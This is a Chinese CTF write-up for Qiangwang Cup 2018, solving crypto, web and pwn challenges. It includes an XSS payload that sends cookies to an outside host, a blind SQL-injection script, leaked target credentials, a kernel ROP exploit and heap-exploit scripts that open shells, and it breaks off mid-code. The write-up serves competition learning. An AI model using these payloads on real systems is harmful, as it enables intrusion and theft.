All posts
Web中文

强网杯 2018 线上赛 CNSS Writeup

Kyr1os11 min readWebReversePWNCryptoWriteup
Sections
5
Images
3
Code
21
Read time
11 min

最后勉强打进线下赛。整合一波本次强网杯 2018 的 CNSS 线上赛 Wp。

Misc


Welcome

丢进 stegsolve,选择隐写分析,讲图片分成两份,其中一份右移 100 像素可以看到 flag

QWB{W3lc0me}


Crypto


streamgame1

因为给出了 key,而明文空间较小,所以写脚本爆破

def lfsr(R,mask):
    output = (R << 1) & 0xffffff
    i=(R&mask)&0xffffff
    lastbit=0
    while i!=0:
        lastbit^=(i&1)
        i=i>>1
    output^=lastbit
    return (output,lastbit)
flag = 0b1111111111111111111
mask = 0b1010011000100011100
key = [0x55,0x38,0xF7,0x42,0xC1,0x0D,0xB2,0xC7,0xED,0xE0,0x24,0x3A]
while flag > 0:
    f = []
    R = flag
    for i in range(12):
        tmp=0
        for j in range(8):
            (R,out)=lfsr(R,mask)
            tmp=(tmp << 1)^out 
        f.append(tmp)
    if key == f:
        print "Flag:", flag
        break
    flag -= 1
    if flag % 10000 == 0:
        print "Processing:", flag

flag{1110101100001101011}


streamgame2

flag 长了一点但是可以接受,还是爆破

def lfsr(R,mask):
    output = (R << 1) & 0xffffff
    i=(R&mask)&0xffffff
    lastbit=0
    changesign=True
    while i!=0:
        if changesign:
            lastbit &= (i & 1)
            changesign=False
        else:
            lastbit^=(i&1)
        i=i>>1
    output^=lastbit
    return (output,lastbit)
flag = 0b111111111111111111111
mask = 0x100002
key = [0xB2,0xE9,0x0E,0x13,0xA0,0x6A,0x1B,0xFC,0x40,0xE6,0x7D,0x53]
while flag > 0:
    f = []
    R = flag
    for i in range(12):
        tmp=0
        for j in range(8):
            (R,out)=lfsr(R,mask)
            tmp=(tmp << 1)^out 
        f.append(tmp)
    if key == f:
        print "Flag:", flag
        break
    flag -= 1
    if flag % 10000 == 0:
        print "Processing:", flag

flag{110111100101001101001}


streamgame3

查了资料像是一个魔改的 A5 算法,single_round中有一个逻辑表达式(x1*x2)^((x2^1)*x3),真值表如下:

x1x2x3v
0000
0011
0100
0110
1000
1011
1101
1111

经观察,x1 == x3 的时候,v = x1 = x3。R1,R2,R3 相互独立,三个 mask 参数为常数值。又因为有两个 assert 限制了 R1 和 R3 的长度分别为 4 和 5 位十六进制位,故先尝试爆破 R1 和 R3。脚本代码如下:

def read2bin(s):
	res = ""
	for i in s[0:64*1024]:
		x = str(bin(ord(i)))[2:]
		res = res + "0"*(8-len(x)) + x
	return res

def lfsr(R,mask):
	i = R & mask
	res = 0
	while i != 0:
		i &= (i-1)
		res += 1
	lastbit = res % 2
	output = ((R << 1) & 0xffffff) ^ lastbit
	return (output,lastbit)

def single_round(R1,R3):
	(R1_NEW,x1)=lfsr(R1,0x10020)
	(R3_NEW,x3)=lfsr(R3,0x100002)
	return (R1_NEW,R3_NEW,x1,x3)
	
def work(flag, flagi, flagj, std):
	R1=0x10000+flagi
	R3=0x100000+flagj
	res=""
	x1=""
	x3=""
	sign=True
	for i in range(0,len(std)):
		(R1,R3,x1,x3) = single_round(R1,R3)
		if x1 == x3 and str(x1) != str(std[i]):
			sign = False
			break
	if sign:
		print("Success!"+flag)
		
fl = open('0', 'rb')
std = read2bin(str(fl.read(),encoding="latin1"))
fl.close()

print("Read STD : %s..."%std[0:24])
print("Read STD Len: %d"%len(std))

outputinterval = 0x1000

for i in range(0xb9cb,0x10000)[proc_id::nthread]:
	if i % outputinterval == 0:
		print("Testing: flag{01"+"%04x"%i+"******"+"1?????}")
	for j in range(0x6b2f3,0x100000):
		flag = "flag{01"+"%04x"%i+"******"+"1"+"%05x"%j+"}"
		work(flag, i, j, std)

其中优化了一部分 lfsr 的运算,去掉了 R2 的部分,又加了多线程还是跑了很久,终于得到了 flag 的 R1 和 R3 部分:flag{01b9cb******16b2f3}

然后爆破中间五位,核心代码如下:

def work(flag, flagR2, std):
	R1=0x1b9cb
	R2=flagR2
	R3=0x16b2f3
	sign=True
	x1=""
	x3=""
	for i in range(0,len(std)):
		(R1,R2,R3,out,x1,x3) = single_round(R1,R2,R3)
		if str(out) != str(std[i]):
#			print("%s failed at pos=%d, out=%d, std=%c, x1=%d, x3=%d"%(flag,i,out,std[i],x1,x3))
			sign = False
			break
	if sign:
		print("Success!"+flag)

for i in range(1<<18,1<<19)[proc_id::nthread]:
		flag = "flag{01b9cb"+"%06x"%i+"16b2f3}"
		work(flag, i, std)

得到 flag: flag{01b9cb05979c16b2f3}


streamgame4

还是直接爆破,这里的 key 验证前 12 字节足矣

def nlfsr(R,mask):
    output = (R << 1) & 0xffffff
    i=(R&mask)&0xffffff
    lastbit=0
    changesign=True
    while i!=0:
        if changesign:
            lastbit &= (i & 1)
            changesign=False
        else:
            lastbit^=(i&1)
        i=i>>1
    output^=lastbit
    return (output,lastbit)
flag = 0b111111111111111111111
mask = 0b110110011011001101110
key = [0xd1, 0xd9, 0x40, 0x43, 0x93, 0x53, 0x1e, 0x5e, 0x4d, 0xc7, 0xd0, 0xca]
while flag > 0:
    f = []
    R = flag
    for i in range(12):
        tmp=0
        for j in range(8):
            (R,out)=nlfsr(R,mask)
            tmp=(tmp << 1)^out 
        f.append(tmp)
    if key == f:
        print "Flag:", flag
        break
    flag -= 1
    if flag % 10000 == 0:
        print "Processing:", flag

flag{100100111010101101011}


nextrsa

Level 1

n 很小,可以直接分解

Level 2

n, e 非常大,猜测是低解密指数攻击(d 很小),用 Wiener attack(https://github.com/pablocelayes/rsa-wiener-attack)

Level 3

e = 3, M = m + x, m 和 c 已知,x 为 64bit 内的小整数。

因为已经知道了 M 的高位,所以直接 Coppersmith method 攻击。核心代码:

ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
f = (m + x) ^ e - c
dd = f.degree()
beta = 1
epsilon = beta / 7
mm = ceil(beta**2 / (dd * epsilon))
tt = floor(dd * mm * ((1/beta) - 1))
XX = ceil(N**((beta**2/dd) - epsilon))
roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)
print roots
## coppersmith_howgrave_univariate 函数来自于 https://github.com/mimoo/RSA-and-LLL-attacks

Level 4

已知 n=p×q,z=nextprime(p)×nextprime(q)

枚举 Δp\Delta p, Δq\Delta q, 则有方程

pq=npq=n

(p+Δp)(q+Δq)=z(p+\Delta p)(q+\Delta q)=z

可以化简得一个关于 p(或 q)的一元二次方程

Δp⋅q2+(n+Δp⋅Δq−z)q+Δq⋅n=0\Delta p \cdot q^2+(n+\Delta p\cdot \Delta q-z)q+\Delta q\cdot n=0

然后验证Δ=b2−4ac\Delta=b^2-4ac能否开根,以及验证两个方程解是否为正整数就行了。根据素数密度π(n)∼nln⁡n\pi(n) \sim n \ln n,Δ\Delta 不会太大,最终解出来也就 1000 多。核心代码:

def work(i, j):
   A = i
   B = n + i * j - z
   C = j * n
   delta = B * B - 4 * A * C
   if delta < 0:
       return
   root_delta = root2(delta) ## 开平方根
   if root_delta == -1:
       return
   for k in range(-1, 2, 2):
       top = -B + k * root_delta
       if top % (A << 1) == 0:
           q = top // (A << 1)
           if q > 0 and n % q == 0:
               print("p:", n // q)
               print("q:", q)
               exit(0)
for ma in range(1, 100000):
   for i in range(1, ma + 1):
       work(i, ma)
   print(ma, "Finished")

Level 5

n 含有小因子,直接 yafu 暴力分解

Level 6

m3=c+knm^3 = c + kn。爆破 k 尝试开三次根,最终的 k 大概 70000+。核心代码:

while True:
    res = root3(c) ## 开三次根
    if res != -1:
        print(res)
        break
    c += n

Level 7

n1, n2 含有公因子,所以直接 gcd(n1, n2) 得到公共因子

Level 8

共模攻击,扩展欧几里得解 xe1+ye2=1xe_1+ye_2=1,然后就有c1xc2y≡mxe1+ye2≡mc1^xc2^y\equiv m^{xe_1+ye_2} \equiv m,所以有 m = pow(c1, x, n) * pow(c2, y, n) % n,要注意一下 x, y 的正负号,如果为负数,则对对应的 c 取模 n 意义下的逆元。核心代码:

g, x, y = ex_gcd(e1, e2)
if x < 0:
    c1 = inv(c1, n)
    x = -x
if y < 0:
    c2 = inv(c2, n)
    y = -y
print(e1, e2)
print(x, y)
print(hex(pow(c1, x, n) * pow(c2, y, n) % n))

Level 9

e=3,低指数加密,给了三组样本,所以直接中国剩余定理合并同余式子,最后开三次根就行。核心代码:

def china_remain(eq):
    A = 0
    M = 1
    for x in eq:
        M *= x[1]
    for ai, mi in eq:
        Mi = M // mi
        g, Mi_inv, k = ex_gcd(Mi, mi)
        A = (A + ai * Mi_inv * Mi) % M
    return [A, M]

res = china_remain([(c1, n1), (c2, n2), (c3, n3)])
print(hex(root3(res[0])))

flag{s1mp13_rs4_f0r_y0u_+_h4pp9_f0r_qwb}


Web


Web签到

两个 php 小技巧和一个 md5 碰撞

第一个利用 0e 开头 md5 值 bypass

第二个用数组 bypass

第三个去找一个真正的 md5 碰撞,python 写脚本发包即可

脚本代码如下:

import requests
from binascii import unhexlify

data1 = {
	"param1": "QNKCDZO",
	"param2": "240610708"
}

data2 = {
	"param1[]": "1",
	"param2[]": "2"
}

data3 = {
	"param1": b'Oded Goldreich\nOded Goldreich\nOded Goldreich\nOded Go' + unhexlify('d8050d0019bb9318924caa96dce35cb835b349e144e98c50c22cf461244a4064bf1afaecc5820d428ad38d6bec89a5ad51e29063dd79b16cf67c12978647f5af123de3acf844085cd025b956'),
	"param2": b'Neal Koblitz\nNeal Koblitz\nNeal Koblitz\nNeal Koblitz\n' + unhexlify('75b80e0035f3d2c909af1baddce35cb835b349e144e88c50c22cf461244a40e4bf1afaecc5820d428ad38d6bec89a5ad51e29063dd79b16cf6fc11978647f5af123de3acf84408dcd025b956')
}

url = "http://39.107.33.96:10000/index.php"

u = req`uests.session()

s = u.get(url)
print(s.text.partition("<h2>")[2].partition("</h2>")[0])
s = u.post(url, data = data1)
print(s.text)

s = u.get(url)
print(s.text.partition("<h2>")[2].partition("</h2>")[0])
s = u.post(url, data = data2)
print(s.text)

s = u.get(url)
print(s.text.partition("<h2>")[2].partition("</h2>")[0])
s = u.post(url, data = data3)
print(s.text)

运行脚本得到 flag:

QWB{s1gns1gns1gnaftermd5}


Share your mind

可以看到有一个 js 文件是相对路径导入的
利用 RPO 构造 XSS
写一个 alert(/xss/)

部分字符会被 HTML 编码 用 String.fromCharCode 可以绕过
打一下 admin 的 cookie

document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 34, 104, 116, 116, 112, 58, 47, 47, 109, 105, 116, 97, 104, 46, 99, 110, 47, 101, 118, 105, 108, 46, 112, 104, 112, 63, 99, 61, 34, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62));

http://39.107.33.96:20000/index.php/view/article/31568/..%2f..%2f..%2f
直接把链接 Report 过去就有回显
得到一个 HINT=Try to get the cookie of path “/QWB_fl4g/QWB/”

写一个 iframe src 过去读 cookie 就能获得 flag

var iframe = document.createElement('iframe'); iframe.src="/QWB_fl4g/QWB/"; document.body.appendChild(iframe); iframe.onload = function(){window.location.href="http://mitah.cn/evil.php?c="+iframe.contentWindow.document.cookie;};
document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 118, 97, 114, 32, 105, 102, 114, 97, 109, 101, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 105, 102, 114, 97, 109, 101, 34, 41, 59, 32, 105, 102, 114, 97, 109, 101, 46, 115, 114, 99, 61, 34, 47, 81, 87, 66, 95, 102, 108, 52, 103, 47, 81, 87, 66, 47, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 105, 102, 114, 97, 109, 101, 41, 59, 32, 105, 102, 114, 97, 109, 101, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 34, 104, 116, 116, 112, 58, 47, 47, 109, 105, 116, 97, 104, 46, 99, 110, 47, 101, 118, 105, 108, 46, 112, 104, 112, 63, 99, 61, 34, 43, 105, 102, 114, 97, 109, 101, 46, 99, 111, 110, 116, 101, 110, 116, 87, 105, 110, 100, 111, 119, 46, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 125, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62));

http://39.107.33.96:20000/index.php/view/article/31663/..%2f..%2f..%2f Repost 链接过去 就能收到 cookie 即 flag

QWB{flag_is_f43kth4rpo}


Three hit

二次注入 / 盲注,注入点在 age
注册的时候 age 被 is_numeric 了
可以 hexlify 一下绕过
跑一下脚本即可

import hashlib
import requests
import re
import random
import time
import threading
import binascii


def md5(msg):
    return hashlib.md5(msg.encode()).hexdigest()

log = "http://39.107.32.29:10000/index.php?func=login"
reg = "http://39.107.32.29:10000/index.php?func=register"
pro = "http://39.107.32.29:10000/profile.php"

def register():
    usr = "".join(random.sample("abcdefghijklmnopqrstuvwxyz", 13))
    s = requests.session()
    s.post(reg, data={'username': usr, 'password': "werewr123", 'age': payload})
    return [usr, "werewr123"]


def a(payload):
    usr = "".join(random.sample("abcdefghijklmnopqrstuvwxyz", 13))
    s = requests.session()
    ## print('[Session start]')
    s.post(reg, data={'username': usr, 'password': "werewr123", 'age': payload})
    ## print("[Registered]")
    s.post(log, data={'username': usr, 'password': "werewr123"})
    ## print("[Log in]")
    return s.get(pro).text


def two(ind, cont, pos, result):
    print("[pos %d start]" % pos)
    payload = "1234567889 and 1=if((ord(substr(({}),{},1)))>{},1,0)"
    l = 33
    r = 127
    while l < r:
        mid = (l + r) >> 1
        text = a("0x" + str(binascii.hexlify(payload.format(cont, pos, mid).encode()).decode()))
        if 'is also in age' in text:
            l = mid + 1
        else:
            r = mid
    result[pos] = chr(l)
    print("[pos %d end]" % pos)


def sqli(cont):
    print("[Start]")
    sz = 40
    res = [''] * (sz + 1)
    t = [None] * sz
    for i in range(1, sz + 1):
        if i > sz:
            t[i % sz].join()
        t[i % sz] = threading.Thread(target=two, args=(i, cont, i, res))
        t[i % sz].start()
    for th in t:
        th.join()
    return "".join(res)


## db = sqli("SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata")
## print(db)
## qwb

## table = sqli("select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='qwb'")
## print(table)
## flag,users

## col = sqli("select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flag'")
## print(col)
## flag

## res = sqli("select group_concat(flag) from flag")
## print(res)
## QWB{M0b4iDalao0rz0rz}

QWB{M0b4iDalao0rz0rz}


彩蛋

首先 web.xml 找到

http://106.75.97.46:8080/phrackCTF/druid/

并附上登录帐号: admin, 密码: SgK1xfVxTk

登录进去, 发现数据库帐号密码, 远程连接

psql —host=106.75.97.46 —username=postgres —no-password

拿到数据库, udf 提权, 在根目录找到 flag

select sys_eval(“cat /flag_is_here”);

拿到flag

QWB{jarv1s0j13p5ettyg006}


Python is the best language 1

注册登录进去, input 的框可以注入, 理论上可以脚本跑, 但是平台卡成狗, 就直接手跑了

payload:

1’+ord(substr((select fllllllag from flaaaaaag),1,1))+‘1

哪个表哪个列不记得了, flag

QWB{us1ng_val1dator_caut1ous}


PWN


core

开了 kaslr,没开 smep,但是在 /tmp 目录下有个诡异的文件,可以泄露内核函数地址,然后 copy 那里长度为负数会溢出,read 函数会 leak 模块的 canary,所以直接 rop 就行了。

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>


#define COMMAND_READ 0x6677889B
#define COMMAND_PRINT 0x6677889C
#define COMMAND_COPY 0x6677889A

#define u64 unsigned long long

unsigned long user_cs, user_ss, user_rflags;

static void save_state() {
        asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
void get_shell()
{
    system("/bin/sh");
}

u64 prepare_kernel_cred_addr = 0x0;//0xffffffff8109cce0;
u64 commit_creds_addr = 0x0;//0xffffffff8109c8e0;
void set_uid()
{
    char* (*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}

u64 rop[] = {

// padding
0xdeadbeefdeadbeef, //0
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,  //7

0x0, // canary
0xdeadbeefdeadbeef, //rbp
0x6161616161616161,   // 10 ret addr 
0x0,  // uid ret addr
0x0, // padding
0x0,  // leakd addr ?  13
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0
};

int main(int argc,char** argv)
{
	sscanf(argv[1],"%llx",&prepare_kernel_cred_addr);
	sscanf(argv[2],"%llx",&commit_creds_addr);
	char s[100];
	char* leak = (char*)malloc(1024);
	int fd = open("/proc/core",O_RDWR);
	ioctl(fd,COMMAND_PRINT,0x40);
	ioctl(fd,COMMAND_READ,leak);
	u64 canary = ((u64*)leak)[0];
	u64 ret_addr = ((u64*)leak)[2];
	//printf("leak ret addr %llu\n",canary);
	rop[8] = canary;
	rop[10] = &set_uid;
	rop[11] = ret_addr - 0xc5;
	rop[12] = &s - 0x100;

	u64 iret_addr = prepare_kernel_cred_addr - 311838;
	save_state();
	rop[13] = iret_addr;
	rop[14] = &get_shell;
	rop[15] = user_cs; 
	rop[16] = user_rflags;
	rop[17] = &s - 0x100;
	rop[18] = user_ss;
	write(fd,rop,1024);
	ioctl(fd,COMMAND_COPY,0x8000000000000100);
	
	return 0;
}

raisepig

fastbin attack 修改 topchunk,把它改到 free_hook 附近,通过申请内存修改 free_hook getshell

#!/usr/bin/env python2
## -*- coding: utf-8 -*- #
from pwn import *
import time
import os

## 调试模式 会使用gdb联调
DEBUG = 0

## 啰嗦模式
VERBOSE = 1

## 0 local 1 remote 2 attack
MODE = 1

## 程序名
PROGRAM_NAME = './raisepig'

## libc
REMOTE_LIBC = True

## 地址
IP = '39.107.32.132'

PORT = 9999
#IP = '127.0.0.1'
#PORT = 17001

## gdb调试配置 根据机器更改
## context.terminal = ['tmux', 'splitw', '-h']
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
context.arch = 'amd64'

## 是否开启 aslr
context.aslr = True


## export LD_LIBRARY_PATH=/home/plusls/Desktop/kanxuectf/4-BPG-club
## LD_PRELOAD
## socat tcp-l:8888,reuseaddr,fork system:LD_PRELOAD=./libc.so.6 ./club

## 地址 程序常量
system_offset = 0
_IO_list_all_offset = 0
__malloc_hook_offset = 0
one_gadget_offset = 0



def set_breakpoint(breakpoint_list, pie=False):
    '''生成设置断点的命令'''
    ret = ''
    offset = 0
    if pie is True:
        if context.aslr is True:
            return ''
        if context.arch == 'amd64': ## 64位下gdb关闭aslr后基址为 0x555555554000
            offset = 0x555555554000
        elif context.arch == 'i386': ## 32位为0x56555000
            offset = 0x56555000
    for breakpoint in breakpoint_list:
        ret += 'b *%d\n' % (breakpoint + offset)
    return ret


def raise_pig(program, size, s, pig_type='a!\n'):
    program.recvuntil('Your choice : ')
    program.sendline('1')
    program.recvuntil('Length of the name :')
    program.sendline(str(size))
    program.recvuntil('The name of pig :')
    program.send(s)
    program.recvuntil('The type of the pig :')
    program.send(pig_type)

def visit_pigs(program):
    program.recvuntil('Your choice : ')
    program.sendline('2')

def eat_pig(program, idx):
    program.recvuntil('Your choice : ')
    program.sendline('3')
    program.recvuntil('Which pig do you want to eat:')
    program.sendline(str(idx))




def get_shell(ip='', port=0):
    ## 设置断点
    
    breakpoint = set_breakpoint([0x400D8C], pie=False)
    breakpoint = ''
    gdbscript = breakpoint + 'c\n'
    if VERBOSE:
        context.log_level = 'debug'

    global system_offset, _IO_list_all_offset, __malloc_hook_offset, one_gadget_offset
    if REMOTE_LIBC:
        env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.remote")}
        
        system_offset = 0x45390
        _IO_list_all_offset = 0x3c5520
        __malloc_hook_offset = 0x3c4b10
        __free_hook_offset = 0x3c67a8
        one_gadget_offset =0x04523E
        libc_ptr_offset = 0x3c4b31
        heap_ptr_offset = 0x240
        fastbin_0x70_offset = 0x30
        main_arena_offset = 0x3c4b20
    else:
        env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.local")}
        env = {}
        
        system_offset = 0x456a0
        _IO_list_all_offset = 0x3c2500
        __malloc_hook_offset = 0x3c1af0
        __free_hook_offset = 0x3c3788
        one_gadget_offset = 0x0F24CB
        libc_ptr_offset = 0x3c1b31
        heap_ptr_offset = 0x240
        main_arena_offset = 0x3c1b00
        fastbin_0x70_offset = 0x30
        



    if MODE == 0:
        if DEBUG:
            ## debug
            program = gdb.debug((PROGRAM_NAME, ), gdbscript=gdbscript, env=env)
            ## 等待输入后继续运行
            raw_input('')
            ## gdb.attach(program)
        else:
            ## 直接运行程序
            program = process((PROGRAM_NAME, ), env=env)
    else:
        ## 远程
        program = remote(ip, port)

    raise_pig(program, 0x28, '1') ## 0
    raise_pig(program, 130, '1') ## 1
    raise_pig(program, 1, '1') ## 2
    eat_pig(program, 0)
    eat_pig(program, 1)
    raise_pig(program, 130, '1') ## 3
    visit_pigs(program)
    program.recvuntil('Name[3] :')
    libc_ptr = u64(program.recvuntil('\n')[:-1].ljust(8, '\x00'))
    libc_addr = libc_ptr - libc_ptr_offset
    log.info('libc_addr=0x%x' % libc_addr)
    raise_pig(program, 0x68, '1') ## 4
    raise_pig(program, 0x68, '1') ## 5
    eat_pig(program, 4)
    eat_pig(program, 5)
    eat_pig(program, 4)
    raise_pig(program, 0x68, p64(0x40)) ## 6
    raise_pig(program, 0x68, '1') ## 7
    raise_pig(program, 0x68, '1') ## 8
    raise_pig(program, 0x100, '/bin/sh\x00') ## 9


    raise_pig(program, 0x38, '1') ## 10
    raise_pig(program, 0x38, '1') ## 11
    eat_pig(program, 10)
    eat_pig(program, 11)
    eat_pig(program, 10)
    raise_pig(program, 0x38, p64(libc_addr + main_arena_offset + fastbin_0x70_offset - 0x8)) ## 12
    raise_pig(program, 0x38, '1') ## 13
    raise_pig(program, 0x38, '1') ## 14
    log.info('0x%x' % (libc_addr + main_arena_offset))
    log.info('0x%x' % (libc_addr))
    log.info('0x%x' % (main_arena_offset))
    raise_pig(program, 0x38, '\x00'*0x20 + p64(libc_addr + __free_hook_offset - 0xb58)) ## 15
    
    
    size =  0xb58
    while size > 0x3b0 + 0x30:
        size -= 0x3b0 + 0x30
        raise_pig(program, 0x3a8, '1')
    log.info(hex(size)) ## size=0x318    
    raise_pig(program, size-0x30, '\x00'*(size- 0x30 - 0x10) + p64(system_offset + libc_addr)) ## 13
    raw_input()
    eat_pig(program, 9)
    #raise_pig(program, size, '1') ## 15
    
    return program

def main():
    if MODE == 0:  ## local
        program = get_shell()
        program.interactive()
    elif MODE == 1:  ## remote
        program = get_shell(ip=IP, port=PORT)
        #program = get_shell(ip='127.0.0.1', port=17001)
        
        program.interactive()

    elif MODE == 3: ## 取回二进制文件
        program = get_shell(ip=IP, port=PORT)
        program.recv(timeout=1)
        program.sendline('cat pwn2')
        program.sendline('exit')
        
        recv_data = program.recvall()
        fp = open('dump', 'wb')
        fp.write(recv_data)
        fp.close()



if __name__ == '__main__':
    main()

qwbctf{ok_now_you_know_how2_raise_a_pig}


silent

fastbin attack 修改 got 表.

#!/usr/bin/env python2
## -*- coding: utf-8 -*- #
from pwn import *
import time
import os

## 调试模式 会使用gdb联调
DEBUG = 0

## 啰嗦模式
VERBOSE = 1

## 0 local 1 remote 2 attack
MODE = 0

## 程序名
PROGRAM_NAME = './silent'

## libc
REMOTE_LIBC = False

## 地址
IP = '39.107.32.132'

PORT = 10000
#IP = '127.0.0.1'
#PORT = 17001

## gdb调试配置 根据机器更改
## context.terminal = ['tmux', 'splitw', '-h']
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
context.arch = 'amd64'

## 是否开启 aslr
context.aslr = True


## export LD_LIBRARY_PATH=/home/plusls/Desktop/kanxuectf/4-BPG-club
## LD_PRELOAD
## socat tcp-l:8888,reuseaddr,fork system:LD_PRELOAD=./libc.so.6 ./club

## 地址 程序常量
system_offset = 0
_IO_list_all_offset = 0
__malloc_hook_offset = 0
one_gadget_offset = 0



def set_breakpoint(breakpoint_list, pie=False):
    '''生成设置断点的命令'''
    ret = ''
    offset = 0
    if pie is True:
        if context.aslr is True:
            return ''
        if context.arch == 'amd64': ## 64位下gdb关闭aslr后基址为 0x555555554000
            offset = 0x555555554000
        elif context.arch == 'i386': ## 32位为0x56555000
            offset = 0x56555000
    for breakpoint in breakpoint_list:
        ret += 'b *%d\n' % (breakpoint + offset)
    return ret


def get_chunk(program, size, s):
    program.sendline('1')
    program.sendline(str(size))
    program.sendline(s.ljust(size - 2, 'a'))

def free_chunk(program, idx):
    program.sendline('2')
    program.sendline(str(idx))

def edit_chunk(program, idx, s, bss_s='/bin/sh\x00'):
    program.sendline('3')
    program.sendline(str(idx))
    program.send(s)
    program.sendline(bss_s.ljust(48 - 2, '\x00'))
    
    



def get_shell(ip='', port=0):
    ## 设置断点
    
    breakpoint = set_breakpoint([0x400D8C], pie=False)
    breakpoint = ''
    gdbscript = breakpoint + 'c\n'
    if VERBOSE:
        context.log_level = 'debug'

    global system_offset, _IO_list_all_offset, __malloc_hook_offset, one_gadget_offset
    if REMOTE_LIBC:
        env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.remote")}
        
        system_offset = 0x45390
        _IO_list_all_offset = 0x3c5520
        __malloc_hook_offset = 0x3c4b10
        __free_hook_offset = 0x3c67a8
        one_gadget_offset =0x04523E
        libc_ptr_offset = 0x3c4b31
        heap_ptr_offset = 0x240
        fastbin_0x70_offset = 0x30
        main_arena_offset = 0x3c4b20
    else:
        env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.local")}
        env = {}
        
        system_offset = 0x456a0
        _IO_list_all_offset = 0x3c2500
        __malloc_hook_offset = 0x3c1af0
        __free_hook_offset = 0x3c3788
        one_gadget_offset = 0x0F24CB
        libc_ptr_offset = 0x3c1b31
        heap_ptr_offset = 0x240
        main_arena_offset = 0x3c1b00
        fastbin_0x70_offset = 0x30
        



    if MODE == 0:
        if DEBUG:
            ## debug
            program = gdb.debug((PROGRAM_NAME, ), gdbscript=gdbscript, env=env)
            ## 等待输入后继续运行
            raw_input('')
            ## gdb.attach(program)
        else:
            ## 直接运行程序
            program = process((PROGRAM_NAME, ), env=env)
    else:
        ## 远程
        program = remote(ip, port)


    get_chunk(program, 0x68, 'a') ## 0
    get_chunk(program, 0x68, 'a') ## 1
    free_chunk(program, 0)
    free_chunk(program, 1)
    free_chunk(program, 0)
    
    gdb.attach(program)
    raw_input()
    
    edit_chunk(program, 0, '\x9d\x20\x60\x00') ## stderr  p64(0x6020a0 + 5 - 8)  0x60209d
    get_chunk(program, 0x68, 'a') ## 2
    get_chunk(program, 0x68, '\x00'*19 + p64(0x602018) + p64(0x0602120) + '\x00'*4*10) ## 4
    #gdb.attach(program)
    raw_input()
    edit_chunk(program, 0, '\x30\x07\x40\x00\x00\x00') ## 0x0400730 system
    raw_input()
    
    free_chunk(program, 1)
    
    return program

def main():
    if MODE == 0:  ## local
        program = get_shell()
        program.interactive()
    elif MODE == 1:  ## remote
        program = get_shell(ip=IP, port=PORT)
        #program = get_shell(ip='127.0.0.1', port=17001)
        
        program.interactive()
    elif MODE == 3: ## 取回二进制文件
        program = get_shell(ip=IP, port=PORT)
        program.recv(timeout=1)
        program.sendline('cat pwn2')
        program.sendline('exit')
        
        recv_data = program.recvall()
        fp = open('dump', 'wb')
        fp.write(recv_data)
        fp.close()



if __name__ == '__main__':
    main()

qwbctf{talk_is_cheap_show_m3_the_code}


silent2

考虑 fake malloc chunk 进行 unlink,修改 got 表

#!/usr/bin/env python2
from pwn import *
from ctypes import *
import sys


def pwn():

    binary= './silent2'
    context.arch = 'amd64'
    context.log_level='info'
    context.log_level='debug'
    elf = ELF(binary)

    ###########################

    try :
        libc=ELF('./libc.so')
        os.environ['LD_PRELOAD'] = './libc.so'
        os.environ['LD_LIBRARY_PATH'] = os.curdir
    except:
        libcs = [x for x in elf.libs.keys() if 'libc.so' in x]
        libc = ELF(libcs[0])
    ############################

    if len(sys.argv) > 2:
        HOST = sys.argv[1]
        PORT = sys.argv[2]
        io = remote(HOST, PORT)
    else:
        io = process(binary)

    ############################

    def ru(delim):
        return io.recvuntil(delim)

    def rn(count):
        return io.recvn(count)

    def sl(data):
        sleep(1)
        return io.sendline(data)

    def sn(data):
        return io.send(data)

    def uint32(x):
        return c_uint32(x).value

    def sint32(x):
        return c_int32(x).value

    def info(comment,addr):
        print '#### log ####'
        log.info(comment+':%#x',addr)

    ############################

    def free(i):
        sl('2')
        sl(str(i))

    def scan(i,s):
        sl('3')
        sl(str(i))
        sl(s)

    def malloc(n,s):
        sl('1')
        sl(str(n))
        sl(s)


    def fakechunk():
        arch_bytes = 8
        heap_buff_size = 0x80
        #node1_addr = &p0
        node1_addr = 0x6020C0+8*3
        pack_fun = p64
        heap_node_size = heap_buff_size + 2 * arch_bytes #0x90
        p0 = pack_fun(0x0)
        p1 = pack_fun(heap_buff_size + 0x01)
